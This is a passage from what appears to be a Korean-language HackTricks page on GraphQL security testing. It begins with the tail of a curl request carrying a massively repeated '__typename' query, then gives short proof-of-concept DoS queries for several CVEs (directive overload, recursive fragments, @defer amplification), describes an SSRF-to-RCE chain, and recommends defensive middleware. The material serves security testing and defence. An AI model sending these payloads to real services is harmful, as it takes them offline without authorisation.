\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

최근 취약점 (2023-2025)

GraphQL 생태계는 매우 빠르게 진화합니다; 지난 2년 동안 가장 많이 사용되는 서버 라이브러리들에서 여러 치명적인 문제가 공개되었습니다. GraphQL 엔드포인트를 발견하면 엔진을 지문 분석(참조 graphw00f)하고 실행 중인 버전을 아래 취약점과 대조해 확인하는 것이 좋습니다.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • 영향: async-graphql < 7.0.10 (Rust)
  • 근본 원인: 중복된 디렉티브에 대한 제한이 없어 (예: 수천 개의 @include) 이것들이 기하급수적으로 많은 실행 노드로 확장된다.
  • 영향: 단일 HTTP 요청으로 CPU/RAM을 소진시켜 서비스가 중단될 수 있다.
  • 수정/완화: 버전을 ≥ 7.0.10으로 업그레이드하거나 SchemaBuilder.limit_directives()를 호출하세요; 또는 "@include.*@include.*@include"와 같은 WAF 룰로 요청을 필터링하세요.
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF 깊이/복잡도 우회

  • 영향받는 버전: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • 근본 원인: ExecutableNormalizedFieldsMaxQueryDepth / MaxQueryComplexity 계측에서 고려되지 않았습니다. 따라서 재귀적 프래그먼트는 모든 제한을 우회했습니다.
  • 영향: graphql-java를 내장한 Java 스택(Spring Boot, Netflix DGS, Atlassian products…)에 대한 인증되지 않은 DoS.
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Root cause: the createMediaItem mutation accepted attacker-controlled filePath URLs, allowing internal network access and file writes.
  • Impact: 인증된 Editors/Authors는 메타데이터 엔드포인트에 접근하거나 원격 코드 실행을 위해 PHP 파일을 작성할 수 있었습니다.

Incremental delivery abuse: @defer / @stream

2023년부터 대부분의 주요 서버(Apollo 4, GraphQL-Java 20+, HotChocolate 13)는 GraphQL-over-HTTP WG에서 정의한 incremental delivery 지시자를 구현했습니다. 각 deferred patch는 separate chunk로 전송되므로 전체 응답 크기는 N + 1 (envelope + patches)이 됩니다. 따라서 수천 개의 작은 deferred 필드를 포함한 쿼리는 공격자에게는 단 한 번의 요청만으로도 큰 응답을 생성할 수 있으며, 전형적인 amplification DoS이자 첫 번째 청크만 검사하는 body-size WAF 규칙을 우회하는 방법입니다. 해당 WG 멤버들 또한 이 위험을 지적했습니다.

예시 payload (2,000개의 패치 생성):

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

완화: 프로덕션에서 @defer/@stream을 비활성화하거나 max_patches, 누적 max_bytes 및 실행 시간을 강제하세요. graphql-armor 같은 라이브러리는(아래 참조) 이미 합리적인 기본값을 적용합니다.


방어용 미들웨어 (2024+)

프로젝트설명
graphql-armorEscape Tech에서 배포한 Node/TypeScript용 validation 미들웨어. 쿼리 깊이, alias/field/directive 수, 토큰 및 비용에 대한 플러그 앤 플레이 제한을 구현하며 Apollo Server, GraphQL Yoga/Envelop, Helix 등과 호환됩니다.

빠른 시작:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor은 이제 지나치게 깊거나 복잡하거나 directive가 많은 쿼리를 차단하여 위의 CVE들에 대한 보호를 제공합니다.


도구

취약점 스캐너

일반적인 취약점 악용 스크립트

클라이언트

자동 테스트

https://graphql-dashboard.herokuapp.com/

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기